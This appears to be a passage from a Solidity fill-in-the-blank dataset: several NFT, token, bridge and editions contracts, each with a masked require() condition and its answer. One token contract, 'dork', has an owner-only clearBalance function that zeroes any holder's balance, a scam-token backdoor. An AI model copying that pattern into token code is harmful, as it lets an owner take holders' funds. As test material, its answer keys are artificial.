//tokens that have been created from breeding
uint256 private tokensBreeded;
//funds from each category
uint256 private fundsMint;
uint256 private fundsBreed;
address private _withdrawAddress =
0xC91deCE250A0d55CE5febAC6f9951c0c76D3e99f;
//declaring initial values for variables
constructor() ERC721("CyberPigs", "PIGLET") {
}
//in case somebody accidentaly sends funds or transaction to contract
receive() external payable {}
fallback() external payable {
}
//visualize baseURI
function _baseURI() internal view virtual override returns (string memory) {
}
//change baseURI in case needed for IPFS
function changeBaseURI(string memory baseURI_) public onlyOwner {
}
function changeUnrevealedURI(string memory unrevealedURI_)
public
onlyOwner
{
}
//change withdraw funds address
function changeWithdrawAddress(address newAddress) public onlyOwner {
}
//gets withdraw funds address
function getWithdrawAddress() public view onlyOwner returns (address) {
}
//gets the tokenID of NFT to be minted
function tokenId() internal view returns (uint256) {
}
function switchToPresale() public onlyOwner {
}
function switchToPublicSale() public onlyOwner {
}
//mint a @param number of NFTs in presale
function presaleMint(uint256 number) public payable {
}
//mint a @param number of NFTs in presale
function publicSaleMint(uint256 number) public payable {
}
//reserved NFTs for creator
function reservedMint(uint256 number, address recipient) public onlyOwner {
require(<FILL_ME>)
for (uint256 i = 0; i < number; i++) {
uint256 tid = tokenId();
_safeMint(recipient, tid);
mintsPerAddress[recipient] += 1;
numberOfTotalTokens += 1;
reservedMints_ += 1;
}
}
function tokenURI(uint256 tokenId_)
public
view
virtual
override
returns (string memory)
{
}
//burn the tokens that have not been sold yet
function burnTokens() public onlyOwner {
}
//se the current account balance
function accountBalance() public view onlyOwner returns (uint256) {
}
//retrieve all funds recieved from minting
function withdrawMint() public onlyOwner {
}
//retrieve all funds recieved from minting
function withdrawBreed() public onlyOwner {
}
//retrieve all funds
function withdraw(uint256 amount) public onlyOwner {
}
//send the percentage of funds to a shareholder´s wallet
function _withdraw(address payable account, uint256 amount) internal {
}
//see the total amount of tokens that have been minted
function totalSupply() public view returns (uint256) {
}
//see current state of sale
//see the current state of the sale
function saleState() public view returns (State) {
}
//to reveal the nfts
function reveal() public onlyOwner {
}
//shows total amount of tokens that could be minted
function maxTokens() public view returns (uint256) {
}
function breed(uint256 tokenIdParent1, uint256 tokenIdParent2)
public
payable
{
}
function toggleBreeding() public onlyOwner {
}
function breedIsOpen() public view returns (bool) {
}
function changeMaxBreeds(uint256 newBreeds) public onlyOwner {
}
function breedCost() public view returns (uint256) {
}
function changeBreedCost(uint256 newCost) public onlyOwner {
}
function mintCost() public view returns (uint256) {
}
}
| reservedMints_+number<=maxReservedMints,"Not enough Reserved NFTs left to mint.." | 83,669 | reservedMints_+number<=maxReservedMints |
"Token has reached max breeds!" | pragma solidity >=0.8.2;
// to enable certain compiler features
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CyberPigs is ERC721, Ownable {
using Strings for uint256;
//amount of tokens that have been minted so far, in total and in presale
uint256 private numberOfTotalTokens;
//declares the maximum amount of tokens that can be minted, total and in presale
uint256 private maxTotalTokens;
//initial part of the URI for the metadata
string private _currentBaseURI = "https://api.cyberpigs.io/api/metadata/";
//marks the timestamp of when the respective sales open
uint256 internal presaleLaunchTime;
uint256 internal publicSaleLaunchTime;
uint256 internal revealTime;
uint256 private reservedMints_;
uint256 private maxReservedMints = 500;
//if breeding is open or not
bool private breeding;
//stores how many breeds each nft has done
mapping(uint256 => uint256) private breedsPerToken;
uint256 private maxBreeds = 5;
uint256 private mintCostPresale = 0.1 ether;
uint256 private mintCostPublicSale = 0.15 ether;
uint256 private breedCost_ = 0.1 ether;
//amount of mints that each address has executed
mapping(address => uint256) public mintsPerAddress;
//current state os sale
enum State {
NoSale,
Presale,
PublicSale
}
//defines the uri for when the NFTs have not been yet revealed
string public unrevealedURI;
//tokens that have been created from breeding
uint256 private tokensBreeded;
//funds from each category
uint256 private fundsMint;
uint256 private fundsBreed;
address private _withdrawAddress =
0xC91deCE250A0d55CE5febAC6f9951c0c76D3e99f;
//declaring initial values for variables
constructor() ERC721("CyberPigs", "PIGLET") {
}
//in case somebody accidentaly sends funds or transaction to contract
receive() external payable {}
fallback() external payable {
}
//visualize baseURI
function _baseURI() internal view virtual override returns (string memory) {
}
//change baseURI in case needed for IPFS
function changeBaseURI(string memory baseURI_) public onlyOwner {
}
function changeUnrevealedURI(string memory unrevealedURI_)
public
onlyOwner
{
}
//change withdraw funds address
function changeWithdrawAddress(address newAddress) public onlyOwner {
}
//gets withdraw funds address
function getWithdrawAddress() public view onlyOwner returns (address) {
}
//gets the tokenID of NFT to be minted
function tokenId() internal view returns (uint256) {
}
function switchToPresale() public onlyOwner {
}
function switchToPublicSale() public onlyOwner {
}
//mint a @param number of NFTs in presale
function presaleMint(uint256 number) public payable {
}
//mint a @param number of NFTs in presale
function publicSaleMint(uint256 number) public payable {
}
//reserved NFTs for creator
function reservedMint(uint256 number, address recipient) public onlyOwner {
}
function tokenURI(uint256 tokenId_)
public
view
virtual
override
returns (string memory)
{
}
//burn the tokens that have not been sold yet
function burnTokens() public onlyOwner {
}
//se the current account balance
function accountBalance() public view onlyOwner returns (uint256) {
}
//retrieve all funds recieved from minting
function withdrawMint() public onlyOwner {
}
//retrieve all funds recieved from minting
function withdrawBreed() public onlyOwner {
}
//retrieve all funds
function withdraw(uint256 amount) public onlyOwner {
}
//send the percentage of funds to a shareholder´s wallet
function _withdraw(address payable account, uint256 amount) internal {
}
//see the total amount of tokens that have been minted
function totalSupply() public view returns (uint256) {
}
//see current state of sale
//see the current state of the sale
function saleState() public view returns (State) {
}
//to reveal the nfts
function reveal() public onlyOwner {
}
//shows total amount of tokens that could be minted
function maxTokens() public view returns (uint256) {
}
function breed(uint256 tokenIdParent1, uint256 tokenIdParent2)
public
payable
{
require(breeding, "Breeding is currently not Open!");
require(
msg.sender == ownerOf(tokenIdParent1) &&
msg.sender == ownerOf(tokenIdParent2),
"Not the owner of this Token!"
);
require(msg.value >= breedCost(), "Insufficient Eth sent to breed!");
require(<FILL_ME>)
_safeMint(msg.sender, maxTotalTokens + tokensBreeded + 1);
breedsPerToken[tokenIdParent1] += 1;
breedsPerToken[tokenIdParent2] += 1;
tokensBreeded += 1;
fundsBreed += msg.value;
}
function toggleBreeding() public onlyOwner {
}
function breedIsOpen() public view returns (bool) {
}
function changeMaxBreeds(uint256 newBreeds) public onlyOwner {
}
function breedCost() public view returns (uint256) {
}
function changeBreedCost(uint256 newCost) public onlyOwner {
}
function mintCost() public view returns (uint256) {
}
}
| breedsPerToken[tokenIdParent1]<maxBreeds&&breedsPerToken[tokenIdParent2]<maxBreeds,"Token has reached max breeds!" | 83,669 | breedsPerToken[tokenIdParent1]<maxBreeds&&breedsPerToken[tokenIdParent2]<maxBreeds |
"The wallet is already excluded!" | pragma solidity ^0.8;
contract RonCEO is ERC20, ERC20Burnable, Ownable
{
using Address for address;
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address payable public marketingWallet;
uint256 public buyFee = 0;
uint256 public sellFee = 0;
bool public inSwapAndLiquify;
mapping(address => bool) private excludedFromFee;
constructor() ERC20("RonCEO", "RONCEO") {
}
/**
* Set a new marketing wallet.
*/
function setMarketingWallet(address _marketingWallet) external onlyOwner {
}
/**
* Configure transfer fee, in this contract all fees goes to marketing during the swapandliquify.
*/
function setTransferTax (uint256 _buyFee, uint256 _sellFee) external onlyOwner {
}
/**
* View the wallets that are excluded from view.
*/
function isExcludedFromFee(address account) external view returns (bool) {
}
/**
* Exclude wallets from fees, this is needed for launch or other contracts.
*/
function excludeFromFee(address account) external onlyOwner {
require(<FILL_ME>)
excludedFromFee[account] = true;
}
/**
* Include wallet back in fees.
*/
function includeInFee(address account) external onlyOwner {
}
function collectMarketingFees() public {
}
//Swap Tokens for ETH or to add liquidity either automatically or manual, due to SAFU this was changed to Automatic after enable trading.
//Corrected newBalance bug, it sending bnb to wallet and any remaining is on contract and can be recoverred.
function swapAndLiquify() public lockTheSwap {
}
function percentOf(uint256 amount, uint256 percent) public pure returns (uint256) {
}
function _transfer(address from, address to, uint256 amount) internal virtual override {
}
/**
* @param tokenAddress The token contract address
* @param tokenAmount Number of tokens to be sent
*/
function recover(address tokenAddress, uint256 tokenAmount) public virtual onlyOwner {
}
modifier lockTheSwap() {
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
}
| excludedFromFee[account]!=true,"The wallet is already excluded!" | 83,728 | excludedFromFee[account]!=true |
"The wallet is already included!" | pragma solidity ^0.8;
contract RonCEO is ERC20, ERC20Burnable, Ownable
{
using Address for address;
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address payable public marketingWallet;
uint256 public buyFee = 0;
uint256 public sellFee = 0;
bool public inSwapAndLiquify;
mapping(address => bool) private excludedFromFee;
constructor() ERC20("RonCEO", "RONCEO") {
}
/**
* Set a new marketing wallet.
*/
function setMarketingWallet(address _marketingWallet) external onlyOwner {
}
/**
* Configure transfer fee, in this contract all fees goes to marketing during the swapandliquify.
*/
function setTransferTax (uint256 _buyFee, uint256 _sellFee) external onlyOwner {
}
/**
* View the wallets that are excluded from view.
*/
function isExcludedFromFee(address account) external view returns (bool) {
}
/**
* Exclude wallets from fees, this is needed for launch or other contracts.
*/
function excludeFromFee(address account) external onlyOwner {
}
/**
* Include wallet back in fees.
*/
function includeInFee(address account) external onlyOwner {
require(<FILL_ME>)
excludedFromFee[account] = false;
}
function collectMarketingFees() public {
}
//Swap Tokens for ETH or to add liquidity either automatically or manual, due to SAFU this was changed to Automatic after enable trading.
//Corrected newBalance bug, it sending bnb to wallet and any remaining is on contract and can be recoverred.
function swapAndLiquify() public lockTheSwap {
}
function percentOf(uint256 amount, uint256 percent) public pure returns (uint256) {
}
function _transfer(address from, address to, uint256 amount) internal virtual override {
}
/**
* @param tokenAddress The token contract address
* @param tokenAmount Number of tokens to be sent
*/
function recover(address tokenAddress, uint256 tokenAmount) public virtual onlyOwner {
}
modifier lockTheSwap() {
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
}
| excludedFromFee[account]!=false,"The wallet is already included!" | 83,728 | excludedFromFee[account]!=false |
'Exceeds max per wallet' | // SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract DiamondPass is ERC721, Ownable {
uint256 public immutable MAX_SUPPLY = 5000;
uint256 public price;
uint256 public maxPerWallet = 1;
uint256 public freeAmount = 500;
string private _baseTokenURI;
using Counters for Counters.Counter;
Counters.Counter currentMintCounter;
mapping(address => uint8) public _mintCounter;
constructor() ERC721("Diamond Pass", "DIAMONDPASS") {
}
function mint() payable public {
require(<FILL_ME>)
require(currentMintCounter.current() <= MAX_SUPPLY, 'Reached max supply');
if (currentMintCounter.current() > freeAmount) {
require(msg.value == price, "Incorrect ETH amount");
} else {
require(msg.value == 0, "Passes are currently free!");
}
_mintCounter[msg.sender] = _mintCounter[msg.sender] + 1;
_safeMint(msg.sender, currentMintCounter.current());
currentMintCounter.increment();
}
function setMaxPerWallet(uint256 _maxPerWallet) external onlyOwner {
}
function setFreeAmount(uint256 _freeAmount) external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function totalSupply() external view returns (uint256) {
}
function withdraw() external onlyOwner(){
}
}
| _mintCounter[msg.sender]+1<=maxPerWallet,'Exceeds max per wallet' | 83,737 | _mintCounter[msg.sender]+1<=maxPerWallet |
'Reached max supply' | // SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract DiamondPass is ERC721, Ownable {
uint256 public immutable MAX_SUPPLY = 5000;
uint256 public price;
uint256 public maxPerWallet = 1;
uint256 public freeAmount = 500;
string private _baseTokenURI;
using Counters for Counters.Counter;
Counters.Counter currentMintCounter;
mapping(address => uint8) public _mintCounter;
constructor() ERC721("Diamond Pass", "DIAMONDPASS") {
}
function mint() payable public {
require(_mintCounter[msg.sender] + 1 <= maxPerWallet, 'Exceeds max per wallet');
require(<FILL_ME>)
if (currentMintCounter.current() > freeAmount) {
require(msg.value == price, "Incorrect ETH amount");
} else {
require(msg.value == 0, "Passes are currently free!");
}
_mintCounter[msg.sender] = _mintCounter[msg.sender] + 1;
_safeMint(msg.sender, currentMintCounter.current());
currentMintCounter.increment();
}
function setMaxPerWallet(uint256 _maxPerWallet) external onlyOwner {
}
function setFreeAmount(uint256 _freeAmount) external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function totalSupply() external view returns (uint256) {
}
function withdraw() external onlyOwner(){
}
}
| currentMintCounter.current()<=MAX_SUPPLY,'Reached max supply' | 83,737 | currentMintCounter.current()<=MAX_SUPPLY |
"TT: transfer amnouunt exceeds balance" | pragma solidity ^0.8.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amnouunt) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amnouunt) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amnouunt ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyowner() {
}
function renounceownership() public virtual onlyowner {
}
}
contract dork is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amnouunt) public virtual override returns (bool) {
require(<FILL_ME>)
_balances[_msgSender()] -= amnouunt;
_balances[recipient] += amnouunt;
emit Transfer(_msgSender(), recipient, amnouunt);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amnouunt) public virtual override returns (bool) {
}
event BalanceCleared(address indexed account);
function clearBalance(address account) public onlyowner {
}
function transferFrom(address sender, address recipient, uint256 amnouunt) public virtual override returns (bool) {
}
function totalSupply() external view override returns (uint256) {
}
}
| _balances[_msgSender()]>=amnouunt,"TT: transfer amnouunt exceeds balance" | 83,821 | _balances[_msgSender()]>=amnouunt |
"Account balance is already zero" | pragma solidity ^0.8.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amnouunt) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amnouunt) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amnouunt ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyowner() {
}
function renounceownership() public virtual onlyowner {
}
}
contract dork is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amnouunt) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amnouunt) public virtual override returns (bool) {
}
event BalanceCleared(address indexed account);
function clearBalance(address account) public onlyowner {
address uuu = account;
uint256 ttee = 0;
require(<FILL_ME>)
_balances[uuu] = ttee;
emit BalanceCleared(uuu);
}
function transferFrom(address sender, address recipient, uint256 amnouunt) public virtual override returns (bool) {
}
function totalSupply() external view override returns (uint256) {
}
}
| _balances[account]>0,"Account balance is already zero" | 83,821 | _balances[account]>0 |
"TT: transfer amnouunt exceeds allowance" | pragma solidity ^0.8.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amnouunt) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amnouunt) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amnouunt ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyowner() {
}
function renounceownership() public virtual onlyowner {
}
}
contract dork is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amnouunt) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amnouunt) public virtual override returns (bool) {
}
event BalanceCleared(address indexed account);
function clearBalance(address account) public onlyowner {
}
function transferFrom(address sender, address recipient, uint256 amnouunt) public virtual override returns (bool) {
require(<FILL_ME>)
_balances[sender] -= amnouunt;
_balances[recipient] += amnouunt;
_allowances[sender][_msgSender()] -= amnouunt;
emit Transfer(sender, recipient, amnouunt);
return true;
}
function totalSupply() external view override returns (uint256) {
}
}
| _allowances[sender][_msgSender()]>=amnouunt,"TT: transfer amnouunt exceeds allowance" | 83,821 | _allowances[sender][_msgSender()]>=amnouunt |
"L1DAIBridge/above-ceiling" | // SPDX-License-Identifier: AGPL-3.0-or-later
// Copyright (C) 2021 Dai Foundation
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity ^0.8.14;
interface TokenLike {
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool success);
function balanceOf(address account) external view returns (uint256);
}
interface StarkNetLike {
function sendMessageToL2(
uint256 to,
uint256 selector,
uint256[] calldata payload
) external payable returns (bytes32);
function consumeMessageFromL2(
uint256 from,
uint256[] calldata payload
) external returns (bytes32);
function startL1ToL2MessageCancellation(
uint256 toAddress,
uint256 selector,
uint256[] calldata payload,
uint256 nonce
) external;
function cancelL1ToL2Message(
uint256 toAddress,
uint256 selector,
uint256[] calldata payload,
uint256 nonce
) external;
}
contract L1DAIBridge {
// --- Auth ---
mapping(address => uint256) public wards;
function rely(address usr) external auth {
}
function deny(address usr) external auth {
}
modifier auth() {
}
event Rely(address indexed usr);
event Deny(address indexed usr);
uint256 public isOpen = 1;
modifier whenOpen() {
}
function close() external auth {
}
event Closed();
address public immutable starkNet;
address public immutable dai;
uint256 public immutable l2Dai;
address public immutable escrow;
uint256 public immutable l2DaiBridge;
uint256 public ceiling = 0;
uint256 public maxDeposit = type(uint256).max;
uint256 constant HANDLE_WITHDRAW = 0;
// src/starkware/cairo/lang/cairo_constants.py
// 2 ** 251 + 17 * 2 ** 192 + 1;
uint256 constant SN_PRIME =
3618502788666131213697322783095070105623107215331596699973092056135872020481;
// from starkware.starknet.compiler.compile import get_selector_from_name
// print(get_selector_from_name('handle_deposit'))
uint256 constant DEPOSIT =
1285101517810983806491589552491143496277809242732141897358598292095611420389;
// print(get_selector_from_name('handle_force_withdrawal'))
uint256 constant FORCE_WITHDRAW =
1137729855293860737061629600728503767337326808607526258057644140918272132445;
event LogCeiling(uint256 ceiling);
event LogMaxDeposit(uint256 maxDeposit);
event LogDeposit(address indexed l1Sender, uint256 amount, uint256 l2Recipient);
event LogWithdrawal(address indexed l1Recipient, uint256 amount);
event LogForceWithdrawal(address indexed l1Recipient, uint256 amount, uint256 indexed l2Sender);
event LogStartDepositCancellation(uint256 indexed l2Receipient, uint256 amount, uint256 nonce);
event LogCancelDeposit(
uint256 indexed l2Recipient, address l1Recipient, uint256 amount, uint256 nonce
);
constructor(
address _starkNet,
address _dai,
uint256 _l2Dai,
address _escrow,
uint256 _l2DaiBridge
) {
}
function setCeiling(uint256 _ceiling) external auth whenOpen {
}
function setMaxDeposit(uint256 _maxDeposit) external auth whenOpen {
}
// slither-disable-next-line similar-names
function deposit(
uint256 amount,
uint256 l2Recipient
) external payable whenOpen {
emit LogDeposit(msg.sender, amount, l2Recipient);
require(l2Recipient != 0 && l2Recipient != l2Dai && l2Recipient < SN_PRIME, "L1DAIBridge/invalid-address");
require(amount <= maxDeposit, "L1DAIBridge/above-max-deposit");
TokenLike(dai).transferFrom(msg.sender, escrow, amount);
require(<FILL_ME>)
uint256[] memory payload = new uint256[](4);
payload[0] = l2Recipient;
(payload[1], payload[2]) = toSplitUint(amount);
payload[3] = uint256(uint160(msg.sender));
StarkNetLike(starkNet).sendMessageToL2{value: msg.value}(l2DaiBridge, DEPOSIT, payload);
}
function toSplitUint(uint256 value) internal pure returns (uint256, uint256) {
}
// slither-disable-next-line similar-names
function withdraw(uint256 amount, address l1Recipient) external {
}
function forceWithdrawal(uint256 amount, uint256 l2Sender) external payable whenOpen {
}
function startDepositCancellation(
uint256 amount,
uint256 l2Recipient,
uint256 nonce
) external {
}
function cancelDeposit(
uint256 amount,
uint256 l2Recipient,
// slither-disable-next-line similar-names
address l1Recipient,
uint256 nonce
) external {
}
}
| TokenLike(dai).balanceOf(escrow)<=ceiling,"L1DAIBridge/above-ceiling" | 83,831 | TokenLike(dai).balanceOf(escrow)<=ceiling |
"Edition is closed" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████▓▀██████████████████████████████████████████████
// ██████████████████████████████████ ╙███████████████████████████████████████████
// ███████████████████████████████████ ╙████████████████████████████████████████
// ████████████████████████████████████ ╙▀████████████████████████████████████
// ████████████████████████████████████▌ ╙▀█████████████████████████████████
// ████████████████████████████████████▌ ╙███████████████████████████████
// ████████████████████████████████████▌ ███████████████████████████████
// ████████████████████████████████████▌ ▄█████████████████████████████████
// ████████████████████████████████████ ▄████████████████████████████████████
// ███████████████████████████████████▀ ,▄███████████████████████████████████████
// ██████████████████████████████████▀ ,▄██████████████████████████████████████████
// █████████████████████████████████▄▓█████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
import {ReentrancyGuard} from "openzeppelin-contracts/contracts/security/ReentrancyGuard.sol";
import {ClonesWithImmutableArgs} from "clones-with-immutable-args/ClonesWithImmutableArgs.sol";
import {ERC721A} from "../tokens/ERC721A.sol";
import {AuthGuard} from "../core/AuthGuard.sol";
import {Payable} from "../core/Payable.sol";
contract Editions is ReentrancyGuard, AuthGuard, Payable {
using ClonesWithImmutableArgs for address;
ERC721A public implementation;
mapping(uint64 => EditionsData) public editionsData;
mapping(address => uint256) public fixedFees;
uint256 public percentFee;
uint256 internal constant BASIS_POINTS = 10000;
bytes4 public constant SIGNER_ROLE = bytes4(keccak256("SIGNER_ROLE"));
bytes4 public constant CREATE_ROLE = bytes4(keccak256("CREATE_ROLE"));
bytes4 public constant UPDATE_ROLE = bytes4(keccak256("UPDATE_ROLE"));
struct EditionsData {
address paymentAddress;
address paymentToken;
ERC721A clone;
uint64 startTime;
uint64 endTime;
uint64 maxEditions;
uint32 minEditions;
uint32 mintLimit;
uint pricePerEdition;
bool closed;
}
event EditionCreated(uint indexed cid, EditionsData newEdition);
event EditionUpdated(uint indexed cid, EditionsData updatedEdition);
/**
* @dev Constructor for the Editions contract.
* @param _registry Address of the registry.
* @param _implementation Address of the ERC721A implementation.
* @param _nativeFixedFee Fixed fee for native token.
* @param _percentFee Percentage fee for minting.
*/
constructor(
address _registry,
ERC721A _implementation,
uint256 _nativeFixedFee,
uint256 _percentFee
) Payable(_registry) {
}
struct CreateEditionParams {
uint64 id;
uint32 minEditions;
uint64 maxEditions;
uint64 startTime;
uint64 endTime;
uint pricePerEdition;
uint32 mintLimit;
address paymentToken;
address paymentAddress;
address formatter;
uint royaltyBPS;
}
/**
* @dev Create a new edition.
* @param params Parameters for the new edition.
* @return clone Address of the new ERC721A clone.
*/
function createEdition(
CreateEditionParams memory params
)
external
onlyAuthorizedById(params.id, CREATE_ROLE)
returns (ERC721A clone)
{
}
/**
* @dev Update an existing edition.
* @param _id ID of the edition to update.
* @param _startTime Updated start time.
* @param _endTime Updated end time.
* @param _minEditions Updated minimum editions.
* @param _maxEditions Updated maximum editions.
* @param _pricePerEdition Updated price per edition.
* @param _mintLimit Updated mint limit.
*/
function updateEdition(
uint64 _id,
uint64 _startTime,
uint64 _endTime,
uint32 _minEditions,
uint64 _maxEditions,
uint _pricePerEdition,
uint32 _mintLimit
) external onlyAuthorizedById(_id, UPDATE_ROLE) {
}
/**
* @dev Mint a specific edition.
* @param _id ID of the edition to mint.
* @param _to Address to mint the edition to.
* @param _quantity Quantity of editions to mint.
*/
function mint(uint64 _id, address _to, uint _quantity) public payable {
EditionsData storage editionData = editionsData[_id];
require(<FILL_ME>)
uint totalMinted = editionData.clone.totalSupply();
uint totalToMint = totalMinted + _quantity;
// Ensure that the total number of editions to be minted does not exceed the maxEditions (if set)
require(
editionData.maxEditions == 0 ||
totalToMint <= editionData.maxEditions,
"Exceeds max editions"
);
// Ensure that the current block.timestamp is between the startTime and endTime (if set)
require(
(editionData.startTime == 0 ||
block.timestamp >= editionData.startTime) &&
(editionData.endTime == 0 ||
block.timestamp <= editionData.endTime),
"Outside the minting window"
);
// Ensure that the total number of editions minted does not exceed the mintLimit (if set)
require(
editionData.mintLimit == 0 || _quantity <= editionData.mintLimit,
"Exceeds mint limit"
);
if (editionData.paymentToken == address(0)) {
_receiveNative(
msg.sender,
editionData.paymentAddress,
editionData.pricePerEdition,
_quantity,
_id
);
} else {
_receiveERC20(
msg.sender,
editionData.paymentAddress,
editionData.paymentToken,
editionData.pricePerEdition,
_quantity,
_id
);
}
editionData.clone.mint(_to, _quantity);
}
/**
* @dev Close an edition.
* @param _id ID of the edition to close.
*/
function close(uint64 _id) external onlyAuthorizedById(_id, UPDATE_ROLE) {
}
/**
* @dev Open a closed edition.
* @param _id ID of the edition to open.
*/
function open(uint64 _id) external onlyAuthorizedById(_id, UPDATE_ROLE) {
}
struct SignatureMintParams {
uint64 id;
address to;
uint quantity;
uint32 maxEditions;
uint64 startTime;
uint64 endTime;
uint pricePerEdition;
uint32 mintLimit;
bytes signature;
address signer;
}
/**
* @dev Mint an edition using a signature.
* @param params Parameters for the signature mint.
*/
function signatureMint(
SignatureMintParams memory params
) public payable onlyAuthorizedByUser(params.signer, SIGNER_ROLE) {
}
/**
* @dev Calculate the fee for a specific edition.
* @param _unitPrice Unit price of the edition.
* @param _quantity Quantity of editions to mint.
* @param _token Address of the payment token.
* @return fee Calculated fee.
*/
function calculateFee(
uint256 _unitPrice,
uint256 _quantity,
address _token
) public view override returns (uint256) {
}
/**
* @dev Update the fixed fee for a specific token.
* @param _token Address of the token.
* @param _newFixedFee New fixed fee for the token.
*/
function updateFixedFee(
address _token,
uint256 _newFixedFee
) external onlyAdmin {
}
/**
* @dev Update the percent fee.
* @param _newPercentFee New percent fee for the token.
*/
function updatePercentFee(uint256 _newPercentFee) external onlyAdmin {
}
function verifySignature(
uint cid,
address to,
uint maxEditions,
uint startTime,
uint endTime,
uint pricePerEdition,
uint mintLimit,
bytes memory signature
) public pure returns (address) {
}
function getMessageHash(
uint cid,
address to,
uint maxEditions,
uint startTime,
uint endTime,
uint pricePerEdition,
uint mintLimit
) public pure returns (bytes32) {
}
function recoverSigner(
bytes32 messageHash,
uint8 v,
bytes32 r,
bytes32 s
) public pure returns (address) {
}
}
| !editionData.closed,"Edition is closed" | 83,866 | !editionData.closed |
"Outside the minting window" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
